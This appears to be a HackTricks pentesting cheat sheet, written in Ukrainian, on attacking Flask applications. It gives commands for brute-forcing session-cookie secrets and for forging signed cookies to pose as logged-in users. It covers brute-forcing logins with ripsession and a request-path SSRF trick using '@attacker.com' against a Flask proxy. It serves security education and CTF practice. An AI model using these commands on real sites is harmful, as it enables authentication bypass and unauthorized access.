Flask

Tip

Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).

Підтримайте HackTricks

Ймовірно, якщо ви берете участь у CTF, додаток Flask буде пов’язаний з SSTI.

Cookies

Типова назва cookie-сесії — session.

Decoder

Онлайн декодер Flask cookies: https://www.kirsle.net/wizards/flask-session.cgi

Manual

Візьміть першу частину cookie до першої крапки і декодуйте її з Base64:

echo "ImhlbGxvIg" | base64 -d

Cookie також підписано за допомогою пароля

Flask-Unsign

Утиліта командного рядка для отримання, декодування, brute-force та створення session cookies Flask-додатку шляхом вгадування secret keys.

Client Challenge

pip3 install flask-unsign
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Brute Force

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

Підписування

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Підписування з використанням legacy (старих версій)

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

Інструмент командного рядка для brute-force веб-сайтів, що використовує cookies, створені за допомогою flask-unsign.

GitHub - Tagvi/ripsession: A command line tool to brute-force websites using cookies crafted with flask-unsign. \xc2\xb7 GitHub

ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

This example використовує опцію sqlmap eval, щоб автоматично підписувати sqlmap payloads для flask, використовуючи відомий секрет.

Flask Proxy до SSRF

In this writeup пояснюється, як Flask дозволяє запит, який починається з символу “@”:

GET @/ HTTP/1.1
Host: target.com
Connection: close

У наведеному нижче сценарії:

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

Може дозволяти ввести, наприклад, “@attacker.com”, щоб спричинити SSRF.

Tip

Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).

Підтримайте HackTricks